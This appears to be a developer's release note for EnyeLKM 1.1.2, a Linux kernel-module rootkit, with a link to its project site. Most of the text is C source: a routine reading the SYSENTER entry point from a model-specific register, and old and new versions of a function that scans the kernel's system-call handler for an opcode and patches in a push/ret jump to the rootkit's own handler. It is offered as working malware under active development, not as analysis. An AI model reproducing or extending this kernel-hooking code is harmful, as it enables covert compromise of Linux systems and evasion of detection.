|
DOWNLOAD
EnyeLKM 1.1.2 obtains the SYSENTER when executed in real time with the instruction:
rdmsr( MSR_IA32_SYSENTER_EIP, psysenter_entry, v2 );
NOW IT DOES NOT GIVE A SINGLE WARNING!!! :-) when make is executed.
Also all the base.c has been reprogrammed and two new modules have been created:
extern_symbols: were there are functions that exist to obtain external symbols to LKM, for example:
/* thx to Int27h :-). */
void * get_sysenter_entry( void )
{
void * psysenter_entry = NULL ;
unsigned long v2 ;
if ( boot_cpu_has( X86_FEATURE_SEP ) )
rdmsr( MSR_IA32_SYSENTER_EIP, psysenter_entry, v2 );
else
return NULL;
return psysenter_entry;
}
Also the module lowlevel_layer has been created: thanks to this module we can abstract ourselves a lot in the modules that will be scanning in memory of opcodes and other functions, for example:
void set_idt_handler( void * system_call )
{
unsigned char * p;
push_ret_t push_ret;
p = (unsigned char *) system_call;
/* first jump */
while ( !is_jnb_opcode( (unsigned char *) p ) )
p ++;
p -= DISTANCE_FROM_CMP_NR_SYSCALL_TO_JNB;
create_push_ret( & push_ret, (unsigned long) new_idt );
write_push_ret( ( void *) p, & push_ret )
...
And before, this looked like:
void set_idt_handler(void *system_call)
{
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) system_call;
/* first jump */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
p++;
p -= 5;
*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) new_idt;
p = (unsigned char *) p2;
*p = 0xc3;
As we can aprecciate now it is much easier to abstract ourselves from the problem thanks to the “lowlevel” layer.
The next thing I will develop is the posibility to download the module, at least another module will have to be created to manage the memory with WRITE-AND-RESTORE for its download.
I remind you that the development can be followed thoroughly at:
http://fr33project.org/enyelkm/ |